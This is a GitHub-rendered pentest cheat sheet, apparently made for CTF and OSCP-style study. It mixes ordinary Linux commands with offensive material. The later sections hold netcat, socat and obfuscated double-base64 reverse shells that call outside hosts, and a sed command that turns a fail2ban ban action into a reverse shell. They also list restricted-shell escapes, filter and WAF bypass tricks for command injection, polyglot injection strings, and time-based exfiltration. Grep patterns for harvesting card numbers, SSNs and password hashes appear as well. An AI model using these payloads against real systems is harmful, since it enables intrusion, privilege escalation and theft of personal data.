Skip to content

Latest commit

 

History

History
1319 lines (1022 loc) · 30.1 KB

1.lin-basic.md

File metadata and controls

1319 lines (1022 loc) · 30.1 KB

linux basic cmd

Common cmd

#kali 设置环境变量,target ip
export ip=[ip]

# path
source /etc/environment && export PATH # 创建环境变量
## 添加环境变量
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

#查找文件位置
locate test.txt

#查询path中命令路径
which sbd

#查找文件,文件名含指定字符
find / -name sbc\*

#service 启动、停止、自启动
systemctl start ssh
systemctl stop ssh
systemctl enable ssh

#down and open webpage
wget https://www.baidu.com
wget ip:port
curl https://www.baidu.com

#decode  base64 
echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode 
#decode 16进制 
echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps
base64 -w0 <file> #Encode file
base64 -d file #Decode file

Curl

# common param
## -v, verbose
## -X, request method
## -H, header
## -d/--data, post data
## --data-urlencode <data>, post data url encode
## -k, --insecure insecure server connections
## -T, --upload-file <file>, upload file

## get html to text
curl -s http://192.168.120.132:8000/ | html2markdown

## curl options method
## -v, verbose
## -x, request method
curl -v -X OPTIONS http://<targetip>/test/

## curl upload
curl --upload-file <file name> -v --url <url> -0 --http1.0

## grab links
curl 10.11.1.71 -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'

## post data
curl -X POST --data "code=os.system('socat TCP:192.168.118.8:18000 EXEC:sh')"  http://192.168.120.36:50000/verify

file/text

  • file search
  • string/text process
  • wc count
  • file extract(zip/rar/tar)

file edit

vim 

nano 

cat <<>'EOT' > /xx/xx.sh
#!/bin/bash
nc -e /bin/bash 192.168.xx.111 443
EOT

wc

# 统计行数
wc -l index.html

#查看文件头尾
head index.html
tail index.html

sort

sort test.txt
sort -u test.txt
sort test.txt |  uniq
cat filename | sort -u > file2

sed [示例参考](https:# blog.csdn.net/wdz306ling/article/details/80087889) https:# www.runoob.com/linux/linux-comm-sed.html https:# www.linuxprobe.com/linux-sed-command.html

-i 对文件内容进行修改,不加仅预览
sed "1d" # 删除第一列

#截取文件a中 xx-yy行,输出到文件b
sed -n 'xx,yyp'  a.txt >> b 

sed 's/..$# ' test  # 删除每行最后两个字符

#删除最后一行,-i直接修改文件,不加-i 删除后输出,不更改文件
sed -i "$d" a.txt

#sed指定行位置添加内容,第一行后a/添加 内容 new line 2
sed '1anew line 2' pwd.txt

# 行首行位添加,替换
sed 's/^/headadd&/'
sed 's/$/&tailadd/'

# ^行首,$行尾,g行内全局替换,否则只替换第一个
sed 's/$/&tailadd/'
cat /etc/passwd | grep "/bin/false" | cut -d ":" -f 1,6 | sed 's/^/this a user /' | sed 's/:/, home dir is /'

# 全局修改
sed -i 's:actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>:actionban = nc 192.168.118.5 4444 -e /usr/bin/bash:g' /etc/fail2ban/action.d/iptables-multiport.conf

tr大小写转换

tr "[:lower:]" "[:upper:]" < file1 > file2

# Remove characters
cat file.txt | tr -d "."

# Remove and replace
# Remove all dots and replace them with underscore.
cat file.txt | tr "." "_"

cut

example: 64 bytes from 192.168.0.1: icmp_req=1 ttl=255 time=4.86 ms

cut -d" " -f4 # 空格分割,取第四列

echo "64 bytes from 192.168.0.1: icmp_req=1 ttl=255 time=4.86 ms" | cut -d" " -f4

awk

awk '/search_pattern/ { action_to_take_on_matches; another_action; }' file_to_parse
awk '/172.16.40.12/' error.log  #  过滤特定ip
awd '/172.16.40.12/' {print $4} error.log # 输出 第4列
awk '{print $2,$5;}' error.txt #  输出2-5列
awk -F ':' '{print $1} ' test.txt # -F 指定分隔符,输出第一列

greps

-v 反向,不包含
-o 正则查找
# html提取href包含的域名,不含主域名
grep "href=" index.html | grep "\.example" | grep -v
"www\.example\.com" | awk -F "http://" '{print $2}' | cut -d "/" -f 1

# 正则查找子域名
grep -o '[^/]*\.megacorpone\.com' index.html | sort -u > list.txt

#查看 含有特定 string 的行
grep "href=" index.html

#Cut a string by a delimiter, filter results then sort
grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

#Using Grep and regular expressions and output to a file
cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sourt -u > list.txt

#use a bash loop to find the IP addr behind  each host 
for url in $(cat list.txt); do host $url; done

#Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt

#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt

#Extract passwords
grep -i "pwd\|passw" file.txt

#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt

## Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt

#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt

#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >"	]*|www.[-a-z0-9.]+)[^ .,;	>">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"

#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt

## Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt

## Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt

find

example: 
find   path   -option   [   -print ]   [ -exec   -ok   command ]   {} \;
options:
-name 
-type
-perm
-path
-size
-empy
-amin
-anewer file
-atime n
-cmin n

find / -name "test.log"  -print -exec  tail -n 10 {} \;

compress file

tar 参考:https:# www.runoob.com/linux/linux-comm-tar.html

-c: 建立压缩档案
-x:解压
-t:查看内容
-r:向压缩归档文件末尾追加文件
-u:更新原压缩包中的文件

-z:有gzip属性的
-j:有bz2属性的
-J:具有xz属性的(注3)
-Z:有compress属性的
-v:显示所有过程
-O:将文件解开到标准输出

#解压gz
tar -zxvf abc.tar.gz -C dir
tar -xvf abc.tar -C dir
tar -xzvf file.tar.gz

#解压部分文件
tar -zxf abc.tar.gz file1
tar -xf abc.tar file1

#查看压缩文件内容
tar -ztvf abc.tar.gz

#打包并压缩目录,打包并压缩file1、2
tar -zcvf abc.tar.gz  dir1
tar -zcvf abc.tar.gz  file1 file2 

zip

#文件解压
gunzip access.log.gz

rar

7z

User&group

# user add
adduser/useradd uername
adduer username sudo # 添加至sudo-group

## 无交互shell,直接追加文件
echo "username ALL=(ALL) ALL" >>/etc/sudoers  

# 查看sudo组用户
cat /etc/group | grep sudo 

su username # 切换用户,不切换家目录
su - username # 切换用户,切换家目录

sudo userdel username # 删除用户

Process

# 常用参数
-a  # 显示所有信息
-u  # 所有用户的所有进程
-x # 非tty的所有进程
ps -aux

# 查看实时进程信息
top

htop 

cronjobs

常用cronjob config 文件
/etc/cron.daily
/etc/cron.hourly
/etc/cron.weekly
/etc/cron.monthly

crontab -l # list
crontab -e # edit
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

file/disk

sbin,系统命令,root及sudo用户可执行 bin,用户命令

fdisk -l  # list 所有设备

# 设备挂载,将usb设备挂载到 media下usb
mount /dev/usb /media/usb
umount /media/usb

# check mount
mount

usb recovery

  • htb mirai
# recovery 1
##check the usb drivers;  or  lsblk
mount  

## search flag
cd /media/usbstick
grep -aPo '[a-fA-F0-9]{32}' /dev/sdb

## or go to /dev/sdb
cd /dev/sdb
# -a, process a binary file as if it were exit;
# -P, Interpret PATTERN as a Perl regular expression
# -o, Print only the matched (non-empty) parts of a matching line, with each such part on a separate output lin
grep -aPo '[a-fA-F0-9]{32}' /dev/sdb

# recovery flag 2
## to zip file
dd if=/dev/sdb | zip -1 - | dd of=usb.zip
## nc transfer or scp 
nc -vnlp 9001 > usb.gz 
nc 10.10.14.78 9001 < usb.gz 

scp pi@$tip:/tmp/usg.gz ./

## decompress and recovery
file usb.gz 
gunzip usb.gz 
extundelete usb --restore-all

log

#  常用的日志
ls -alh /var/log 
ls -alh /var/mail 
ls -alh /var/spool 
ls -alh /var/spool/lpd 
ls -alh /var/lib/pgsql 
ls -alh /var/lib/mysql 
cat /var/lib/dhcp3/dhclient.leases

# web
ls -alhR /var/www/ 
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/ 
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/error.log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

network

netstat

netstat -anltp 
-a #all
-n #show num address
-p #show port
-t #show tcp
-l #show listening port

Dsniff

dsniff -p xx.pcap

iptalbes - check later

linux 自带防火墙,input、forward、output chain,过滤网络流量。

-A append
-s source
-j # 规则匹配后的处理方式,ACCEPT/DROP/QUEUE/RETURN/MASQUERADE

iptalbes -L  #  查看策略

# 重置规则
iptables --policy INPUT ACCEPT
iptables --policy OUTPUT ACCEPT
iptables --policy FORWARD ACCEPT

# 禁止所有连接
iptables --policy INPUT DROP
iptables --policy OUTPUT DROP
iptables --policy FORWARD DROP

iptables -A INPUT -s 192.168.3.1 -j DROP # 添加规则
iptables -L -v --line-numbers

iptables -D INPUT 2 # 删除规则
iptables -F  #  remove all rules

# Deny traffic to ports except for Local Loopback
iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP
iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

# 删除所有拦截规则-bash
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -t nat -F
iptables -t mangle -F
iptables -F
iptables -X
iptables -t raw -F iptables -t raw -X

#Delete curent rules and chains
iptables --flush
iptables --delete-chain

#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP

#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT

#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT

#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

hide info

exif

查看和修改JPEG文件的exif信息。

exif [option] file

binwalk

文件分析、逆向、提取fireware镜像。 可用于查看是否有附加数据,查看图片中另一张图片信息,或解压

binwalk file
binwalk -e filepath #  分离文件
binwalk -D=filetype file # 分离文件
binwalk -Me xxx.png

steghide

可隐藏文件到图片或音频的工具。

steghide embed -cf [picfile] -ef [secretfile] # 隐藏文件
steghide info  file  # 查看嵌入的文件
steghide --extract -sf file # 提取隐藏的文件

general tools

Netcat

  • tips
  1. Download Netcat for Windows (handy for creating reverse shells and transfering files on windows systems):https:# joncraton.org/blog/46/netcat-for-windows/
  2. Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for that...
whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

# 连接pop3 mail server
nc -nv $ip 110

# 监听TCP/UDP端口
nc -nlvp  4444

# 连接 netcat port
nc -nv $ip 4444

# 发送文件
nc -nlvp 4444 > incoming.exe

# 建立reverse shell--windows cmd
nc.exe -nlvp 4444 -e cmd.exe
nc.exe -nv <remote ip> <remote port> -e cmd.exe

# 抓取 banner
echo "" | nc -nv -w1 <ip>  <ports>

Ncat

Netcat for Nmap project which provides more security avoid IDS

# Reverse shell from windows using cmd.exe using ssl
ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

# Listen on port 4444 using ssl
ncat -v $ip 4444 --ssl

wireshark

#  查看smtp(25) 和 ICMP 包
tcp.port eq 25 or icmp

# 查看局域网 网络包
ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

# 按协议筛选,并过滤出某ip
ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

ip.addr == xxx.xxx.xxx.xxx
ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx
ip.addr != xxx.xxx.xxx.xxx
ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

socat

http://www.dest-unreach.org/socat/doc/socat.html https:# github.com/tech128/socat-1.7.3.0-windows 参考:https:# erev0s.com/blog/encrypted-bind-and-reverse-shells-socat/

# socat 连接远端ip 80端口
socat - TCP4:<remoteip>:80
# socat 监听443端口,转发stdout
socat TCP4-LISTEN:443 STDOUT


#  socat传输文件
# 监听443,fork创建子进程,file指定发送的文件
socat TCP4-LISTEN:443,fork file:secret_passwords.txt   # kali监听,发送
# file指定接收文件,create 创建新文件
socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create # windows连接,接收文件


# socat reverse shell
# -d -d increase verbosity(showing fatal, error, warning and notice message
#  监听443 端口,转发stdout to tcp socket
socat -d -d TCP4-LISTEN:443 STDOUT
# 连接端, 发送 /bin/bash 
socat TCP4:10.11.0.22:443 EXEC:/bin/bash


# socat encrypted Bind shell
# 生成证书
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem # 输出pem
#  bind shell, kali; cert指定证书文件, verify 0  disable SSL verification,  fork to spawn a child process once a connection is made to the listener
socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
# 连接
socat - OPENSSL:10.11.0.4:443,verify=0

# socat windows,exec 需添加pipes
socat OPENSSL-LISTEN:4443,cert=bind.pem,verify=0,fork EXEC:'cmd.exe',pipe
socat - OPENSSL:192.168.168.130:4443,verify=0

tcpdump

tcpdump 
-i eht1 # 指定网卡

-r 读取
-n skip DNS name lookup
-X print HEX and ASCII format

# 打印空格分隔的第五列,排序去重计数
sudo tcpdump -n -r password_cracking_filtered.pcap | awk -F " " '{print $5}' | sort | uniq -c |head

# 过滤src ip、dst ip、端口 
sudo tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap
sudo tcpdump -n port 81 -r password_cracking_filtered.pcap

echo "$((2#00011000))"   # 输出2进制对应10进制
# 过滤tcp包 14个byte 24, 设置ACK、PSH bits 的packets
sudo tcpdump -A -n 'tcp[13] = 24' -r password_cracking_filtered.pcap

# 查看ack和push包
sudo tcpdump "tcp[tcpflags] & (tcp-ack|tcp-push) !=0" -r test.cap

# Display a pcap file
tcpdump -r passwordz.pcap

# Display ips and filter and sort
tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

# Grab a packet capture on port 80
tcpdump tcp port 80 -w output.pcap -i eth0

# Check for ACK or PSH flag set in a TCP packet
tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

mount

  • mount smb
  • mount vhd file, htb-bastion
sudo mount -t cifs //$tip/backups/WindowsImageBackup/L4mpje-PC  /mnt/L4mpje-PC/ -o user=anonymous

## mount vhd file.
sudo apt install libguestfs-tool

sudo mkdir /mnt/vhd
sudo guestmount --add /mnt/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd/

File transfer

web

python -m SimpleHTTPServer 7331
python3 -m http.server 7331
wget 192.168.3.11:9999/file.log
curl -0 192.168.3.11/file.log

-S  跟ip 端口
php -S 0.0.0.0:8000

ruby -run -e httpd . -p 9000
busybox httpd -f -p 10000

# 写入文件 php
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

nc

# file.log 发送到 4444端口,传输至192.168.3.11 
nc -lvp 4444 < file.log
nc 192.168.3.11:4444 > file.log

# target监听,接收文件enum.sh
nc -lvp 3333 >enum.sh # target host
nc 192.168.3.10 3333 < enum.sh # attack host

ftp

#ftp

#tftp
tftp 192.168.0.10
tftp> get fille.log

tftp 192.168.0.101 << "get shell1.php shell1.php"

ssh-scp

#ssh pubkey login
ssh-keygen -t rsa -C "[email protected]"

echo "ssh-rsa xxxxx" > ~/.ssh/authorized_keys # 目标机上,将公钥内容生成auth key
ssh -i nameofkey [email protected]

scp /path/to/source/file.ext [email protected]:/path/to/destination/file.ext
scp -r /path/to/source/dir [email protected]:/path/to/destination

smb share

impacket smbserver

# kali
impacket-smbserver share $(pwd) -smb2support

#share
# share, share name
# path to share
python smbserver.py share "/root/shell"

# target, windows
dir \\kaliip\share
# upload admin.zip to kali
copy admin.zip \\192.168.119.196\share

# download whoami.exe to win
copy \\kaliip\share\whoami.exe .\

# execute from smb share
# windows
\\kaliip\share\whoami.exe

config samba server to share

apt install samba

## add user to linux
sudo useradd shareuser
sudo passwd shareuser

# add account shareuser in smbpasswd file to be used by smb authentication
sudo smbpasswd -a shareuser

# config share dir, or other path you like
sudo mkdir /opt/shared

# config smb.conf
sudo cp /etc/samba/smb.conf ~
touch smb.conf
vim smb.conf

# smb.conf file content
[shared]
comment = Public stuff
path = /opt/shared #or other path you like
public = yes
writable = yes
valid users = shareuser
write list = shareuser

# restart service
systemctl restart smbd.service

#check syntax errors in smf.conf
testparm

pure-ftpd

Non-Interactive shell

sudo apt update && sudo apt install pure-ftpd

Restricted shell escape

枚举

  • 枚举可用命令,cd/ls/su/sudo/python/echo等
  • 枚举不可用特殊字符等, >/>>/</|
  • [payloadsAllTheThings - command injection](https:# github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
  • [Waf/IPS/DLP bypass cheat sheet](https:# github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
  • [web application firewall evasion tech #2](https:# medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
  • [web application firewall evasion tech #3](https:# www.secjuice.com/web-application-firewall-waf-evasion/)
#可用命令
cd ls su

#可用操作符
> >> < |

#sudo -l
sudo -l

#shell 
echo $SHELL

#可用语言
python perl ruby

#环境变量
echo $PATH
env
printenv

export -p | grep -E "SHELL|PATH"   # 如果有w权限可写入

常用

#/可用
/bin/bash
/bin/sh

#cp可用
cp /bin/bash test
./test    # 切换至/bin/bash

#ftp GDB
ftp > !/bin/sh

gdb> !/bin/sh

#man
man > !/bin/bash

#git
git help status
!/bin/sh

#vi/vim
vim test
:!/bin/bash

vim test
:set shell=/bin/bash
:shell

# export path
export PATH=$PATH:/bin/    # 切换shell后添加环境变量,执行命令
export PATH=$PATH:/usr/bin/

#more  less
more test

!/bin/bash

# ssh
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

# zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

# tar
tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

# awk
awk 'BEGIN {system("/bin/bash")}' 

# ed 
ed 
!'/bin/bash'

script

#python 
python -c "import os;os.system('/bin/bash')"

python -c "import pty;pty.spawn('/bin/bash')"

#php
php -a then exec("sh -i")

#perl
perl -e "exec '/bin/sh';"

#lua
os.execute('/bin/sh')

#ruby
exec "/bin/sh"

Special tech

# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a 

#添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

Reverse Shell

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'

#echo\WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

# short rev shell
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

bypass path and forbidden words

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes / Concatenation
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
\u\n\a\m\e \-\a # uname -a
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
/\b\i\n# # /s\h

# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

bypass forbidden spaces

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

## IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

## Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

bypass backslash and slash

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

bypass with hex encoding

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

bypass ips

# Decimal IPs
127.0.0.1 == 2130706433

time based data exfiltration

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Pliyglot cmd injection

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

bash script

file iterate

#!/bin/bash
for line in $(cat file.txt);do
    echo $line
done

#!/bin/bash

while read p; do
    echo  $p
done <file.txt

for

#!/bin/bash
for ((i = 0; i < 10; i++)); do
    echo $i
done

#!/bin/bash
for x in `seq 1 100`; do
    echo $x
done

for url in $(cat list.txt); do host $url; done

ipaddr=10.11.1
for ip in $(seq 1 254); do
   ping -c 1 $ipaddr.$ip;
done

for ip in {1..254}; do
  ping -c 1 10.11.1.$ip;
done

if else

#!/bin/bash

if [ "$1" == "" ]; then
    echo "This happens"
else
    echo "Something else happens"
fi

批量执行命令

#!/bin/bash
for ip in $(cat ips.txt); do
    ping -c 1 $ip &
done

other script

python script

date create

htb-intelligenc 生产日期,文件名

from datetime import timedelta, date

def daterange(date1, date2):
    for n in range(int ((date2 - date1).days)+1):
        yield date1 + timedelta(n)

start_dt = date(2020, 1, 1)
end_dt = date(2020, 12, 31)
for dt in daterange(start_dt, end_dt):
    print(dt.strftime("%Y-%m-%d-upload.pdf"))

requst

  • make req
import requests

req = request.get("http://site.com")
print req.status_code
print req.text
  • req header
import requests

headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate, sdch",
"Accept-Language": "en-US,en;q=0.8,es;q=0.6,sv;q=0.4",
"Cache-Control": "max-age=0",
"Connection": "keep-alive",
"Cookie": "_gauges_unique_hour=1; _gauges_unique_day=1; _gauges_unique_month=1; _gauges_unique_year=1; _gauges_unique=1",
"Host": "docs.python-requests.org",
"If-Modified-Since": "Wed, 03 Aug 2016 20:05:34 GMT",
"If-None-Match": 'W/"57a24e8e-e1f3"',
